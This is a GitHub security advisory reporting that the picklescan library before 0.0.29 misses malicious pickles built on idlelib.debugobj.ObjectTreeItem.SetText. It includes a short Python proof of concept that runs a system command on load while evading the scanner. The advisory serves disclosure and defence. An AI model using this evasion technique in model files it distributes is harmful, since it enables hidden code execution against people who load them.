GitHub Advisoryadvisory · PyPI
GHSA-3vg9-h568-4w9m Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
HIGH
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- Aliases
- CVE-2025-71354
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-502
- Reviewed
- 2025-08-26
Affected packages
• PyPI picklescan: < 0.0.29 → fixed in 0.0.29
Description
Summary
Using idlelib.debugobj.ObjectTreeItem.SetText, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.debugobj.ObjectTreeItem.SetText function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
```
class EvilDebugobjSetText:
def __reduce__(self):
from idlelib.debugobj import ObjectTreeItem
# ObjectTreeItem(..., setfunction=print).SetText(cmd)
return ObjectTreeItem("label", None, print).SetText, ("__import__('os').system('whoami')",)
```
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Related
Alias · CVE (1)
- CVE-2025-71354 picklescan before 0.0.29 fails to detect malicious pickle files that exploit idlelib.debugobj.ObjectTreeItem.SetText function in reduce… vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3vg9-h568-4w9m web
- https://nvd.nist.gov/vuln/detail/CVE-2025-71354 advisory
- https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114 web
- https://github.com/advisories/GHSA-3vg9-h568-4w9m advisory
- https://github.com/mmaitre314/picklescan package
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-1781.yaml web
- https://pypi.org/project/picklescan web
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-idlelib-debugobj-objecttreeitem-settext web